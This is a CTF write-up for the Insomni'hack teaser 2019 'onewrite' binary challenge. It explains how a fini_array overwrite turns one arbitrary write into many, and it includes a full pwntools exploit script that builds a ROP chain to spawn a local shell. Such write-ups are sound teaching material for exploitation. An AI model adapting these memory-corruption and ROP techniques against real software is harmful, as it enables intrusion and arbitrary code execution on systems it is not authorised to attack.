# Insomni'hack teaser 2019 ###### tags: `2019 pwn challenge` ## onewrite ### Analysis ``` [!] Did not find any GOT entries [*] "/mnt/Pwn/writeups/2019/Insomni'hack_teaser_2019/onewrite/onewrite" Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` Although the binary is dynamically linked, it looks like it's statically linked. First, you can choose to leak and PIE address or a stack address. Second, you can write 8 bytes to an abitrary address. ### Strategy This challenge is similar to pwnable.tw's 3x17 challenge. When the program prepares to exit, the function `__libc_csu_fini` would call `fini_array[1]` and `fini_array[0]`, by writing to this array, we could control the flow of the program. My initial thought was: 1. leak PIE address 2. overwrite `fini_array[1]` to `do_leak()` so that we can further leak the stack address and overwrite `fini_array[0]` 3. overwrite `fini_array[0]` to `__libc_csu_fini` so that one write becomes **multiple write** 4. Create a ROP chain and get shell ### Exploitation Now the problem becomes "How to ROP?" My idea is that, since we can leak the stack address, we can just create the ROP chain in the first stack frame, but how can we return to the first stack frame after calling multiple `__libc_csu_fini` times? For the last write, I wrote a gadget ` add rsp, 0x278; xor eax, eax; pop rbx; pop rbp; ret` to the return address of `do_overwrite` so that rsp just happens to land in the rop chain, and then we just get shell. ```python= from pwn import * #context.log_level = 'DEBUG' context.terminal = ['tmux','splitw','-h'] p = process('./onewrite') do_leak_offset = 0x08A15 fini_arr_offset = 0x2ADFB0 libc_csu_fini_offset = 0x09810 do_overwrite_offset = 0x89C3 def debug(bps=[]): cmd = '' cmd += ''.join(['b *$rebase({:#x})\n'.format(b) for b in bps]) cmd += 'c' log.info(cmd) gdb.attach(p, cmd) pause() def write_rop(g, dst): for gadget in g: p.recvuntil('> ') p.sendline(str(2)) p.recvuntil('address : ') p.send(str(dst)) p.recvuntil('data : ') p.send(p64(gadget)) dst+=8 p.recvuntil('> ') p.sendline(str(2)) # pie elf_base = int(p.recvline()[:-1], 16) - do_leak_offset do_leak = elf_base + do_leak_offset libc_csu_fini = elf_base + libc_csu_fini_offset do_overwrite = elf_base + do_overwrite_offset log.info(hex(elf_base)) # Overwrite fini_arr[1] to do_leak() fini_arr = elf_base + fini_arr_offset p.recvuntil('address : ') p.send(str(fini_arr+8)) p.recvuntil('data : ') p.send(p64(do_leak)) # Leak stack pointer p.recvuntil('> ') p.sendline(str(1)) # stack ret_addr = int(p.recvline()[:-1], 16) + 0x18 log.info('ret addr = ' + hex(ret_addr)) # Overwrite fini_arr[0] to libc_csu_fini p.recvuntil('address : ') p.send(str(fini_arr)) p.recvuntil('data : ') p.send(p64(libc_csu_fini)) # Now we can start to write ROP bss = elf_base + 0x02B3350 syscall = elf_base + 0x006e605 xor_rax = elf_base + 0x041360 pop_rdi = elf_base + 0x0084fa pop_rsi = elf_base + 0x00d9f2 pop_rdx = elf_base + 0x484c5 pop_rax = elf_base + 0x460ac ret = elf_base + 0x8076 add_rsp_ret = elf_base + 0x00847c0 # add rsp, 0x278; xor eax, eax; pop rbx; pop rbp; ret; g = [] # read /bin/sh for i in range(1): g.append(ret) g.append(xor_rax) g.append(pop_rdi) g.append(0) g.append(pop_rsi) g.append(bss) g.append(pop_rdx) g.append(8) g.append(syscall) # execve(/bin/sh) g.append(pop_rax) g.append(59) g.append(pop_rdi) g.append(bss) g.append(pop_rsi) g.append(bss+0x20) # should point to null g.append(pop_rdx) g.append(bss+0x20) g.append(syscall) write_rop(g, ret_addr) #debug([0x460ac]) p.recvuntil('> ') p.sendline(str(1)) ret_addr2 = int(p.recvline()[:-1], 16) + 0x18 - 0x20 log.info('second ret addr = ' + hex(ret_addr2)) log.info('distance ' + hex(ret_addr - (ret_addr2+8))) p.recvuntil('address : ') p.send(str(ret_addr2)) p.recvuntil('data : ') p.send(p64(add_rsp_ret)) p.send('/bin/sh\x00') p.interactive() ```